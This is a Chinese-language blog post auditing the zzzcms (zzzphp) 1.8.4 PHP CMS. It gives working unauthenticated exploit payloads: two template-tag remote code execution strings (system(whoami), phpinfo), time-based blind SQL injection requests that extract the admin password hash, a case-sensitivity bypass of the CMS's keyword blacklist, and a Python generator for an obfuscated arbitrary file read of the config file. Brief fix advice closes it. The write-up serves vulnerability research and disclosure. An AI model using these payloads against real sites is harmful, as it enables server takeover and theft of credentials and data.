zzzcms(zzzphp)1.8.4前台两处rce+一处sql注入

最近比赛看到了zzzcms,来审计一下最新版1.8.4练手

index.php进入

include inc/zzz_client.php

zzz_class.php设置一些全局变量

require ‘zzz_class.php’;

zzz_client.php

  • 检测是否为手机访问
  • 设置模板路径(同时区别是pc还是wap)
  • require zzz_template.php
    • require zzz_plug.php (直接返回参数,啥都没干)
  • 剩下是一个类,用来解析模板
  • $location=getlocation();
  • $location=getlocation(); ParseGlobal(G(‘sid’),G(‘cid’));
  • switch ($location) 给$tplfile赋值
  • $zcontent = load_file($tplfile,$location); //file_get_contents读取文件 $parser = new ParserTemplate(); $zcontent = $parser->parserCommom($zcontent); //解析文件内容

zzzphp 1.8.4前台 rce1

代码

看起来多出来一个字符串截取的部分

判断ifstr中有没有==之类的,有的话就进行字符串截取,但是最后又拼接回来了

if标签(模板标签)RCEpayload的基础上加上==1即可实现rce

keys={if:array_map(base_convert(1751504350,10,36),array(whoami))==1}{end%20if}

system(whoami)

keys={if:array_map(base_convert(27440799224,10,32),array(1))==1}{end%20if}

phpinfo()

zzzphp 前台sql注入

poc

GET /zzzphp/?content/2+benchmark(1000000*(mid(user(),1,1)regexp+'^r'),sha(1)) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/_code/shenji/zzzphp/search/
Cookie: PHPSESSID=vcarjub6ir9s4v8rgo7ec0htd7;
Upgrade-Insecure-Requests: 1

下面这个是用户名

?content/2+benchmark((1000000*((mid((select(username)from([dbpre]user)where(uid)regexp+'^1'),1,1))regexp+'^a')),sha(1))

分析

cid获取:

  • ?右边全部
  • 第一个_左边
  • /的右半边
  • =的左边
  • &的左边

进入zzz_main.php

获取$query,第三行决定了不能有_

$query非空,进入else语句,易知$q为第一个/的左半边,$p为/的右半边(形象)

进入checklocation

获取cid(条件是q在array3中,所以q自选一个news/product/photo/….)

接下来cid>0 return content;

再进入ParseGlobal处就有sql注入存在

遇到的问题

其中我们可以控制cid,但是不能有_也不能url解码,原因如下

$_SERVER[ ‘REQUEST_URI’ ]不会自己url解码,所以传进去%20最后还是%20,这个bug大大增加了sql注入的难度

(另外的比如$_GET,$_POST的参数是会自己进行url解码的,$_SERVER有一部分会自己url解码,如下图)

另外大于小于号都被htmlspecialchars编码,盲注受到很大限制

注密码

密码的话要来个子查询,因为password的ord被过滤了

看看字段数

>SELECT COUNT(*) FROM information_schema. COLUMNS WHERE table_schema ='zzzcms' AND table_name = 'zzz_user';
+----------+
| COUNT(*) |
+----------+
|       30 |
+----------+
1 row in set (0.00 sec)

马上想到子查询

select `8` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 union select * from zzz_user)a;
select b from (select 1,2,3,4,5,6,7,8 as b,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 union select * from zzz_user)a;

然后一个regexp把需要的选出来

mysql> select c from (select b,c from (select 1,2,3,4,5,6,7 as b,8 as c,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 union select * from zzz_user)a where b regexp '^admin$')sb;
+-------+------------------+
| b     | c               |
+-------+------------------+
| admin | 49ba59abbe56e057 |
+-------+------------------+
1 row in set (0.00 sec)
mysql> select c from (select b,c from (select 1,2,3,4,5,6,7 as b,8 as c,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 union select * from zzz_user)a where b regexp '^admin$')sb;
+------------------+
| c               |
+------------------+
| 49ba59abbe56e057 |
+------------------+
1 row in set (0.00 sec)

然后可以套到前面的mid里面,就能查被过滤的列名了

凑了半年,终于凑到一个没有空格的payload

mysql> select(`8`)from(((select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30)union(select*from(zzz_user)))a)where(`7`)regexp+'^admin$';
+------------------+
| 8               |
+------------------+
| 49ba59abbe56e057 |
+------------------+
1 row in set (0.00 sec)

联合前面的一起是

content/2+benchmark(1000000*((mid((select(`8`)from(((select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30)union(select*from(zzz_user)))a)where(`7`)regexp+'^admin$'),1,1))regexp+'^4'),sha(1))

最后发现union是危险字符

function danger_key($s,$type='') {
$s=empty($type) ? htmlspecialchars($s) : $s;
$key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','ord','eval','replace',"'".'"');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','print','echo','var_dump');
  foreach ($danger as $val){
  if(strpos($s,$val) !==false){
error('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
  }
return $s;
}

另外还有一种无列名注入,不需要union和列名,但是需要大于号

((select * from zzz_user)>(1,1,1,1,0,'男','admin','5',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1));
mysql> select ((select * from zzz_user)>(1,1,1,1,0,'男','admin','4',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1));
+-----------------------------------------------------------------------------------------------------+
| ((select*from(zzz_user))>(1,1,1,1,0,'男','admin','4',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)) |
+-----------------------------------------------------------------------------------------------------+
|                                                                                                   1 |
+-----------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

又发现dangerkey后半部分没判断大小写(前半部分大小写不敏感),Unoin直接大写绕过

dangerkey()只有前一半匹配大小写😂😂😂

content/2+benchmark(1000000*((mid((select(`8`)from(((select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30)Union(select*from([dbpre]user)))a)where(`7`)regexp+'^admin$'),1,1))regexp+'^4'),sha(1))

于是现在可以注出所有东西

如果黑名单判断了大小写,还是可以注出大部分内容(除了列名被过滤的无法注出)

(布尔盲注会导致渲染模板的时候error,所以还是时间盲注)

zzzphp 1.8.4前台 rce2

发现大小写没判断,于是又可以rce

#任意读文件exp
a="../config/zzz_config.php"
p1=""
p2=""
for i in range(len(a)):
  p1+=("cHr({}).".format(ord(a[i])))
b= "file_get_contents"
for i in range(len(b)):
  p2+="cHr({}).".format(ord(b[i]))

print("{if:Var_dump(call_user_fUnc_array("+p2[:-1]+",array("+p1[:-1]+")))==1}{end%20if}")

修复建议

1.rce1的eval处给arr设置白名单,数字和<>=!之类的条件运算符号
2.sql注入中cid处设置白名单,只允许数字字母和小部分特殊符号
3.danger_key函数中第二处黑名单设置成大小写不敏感

后记

很简单的一次审计,并没有从头到尾一行一行看,审计的时间也不久,没有申请cve,直接让他们修复了

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注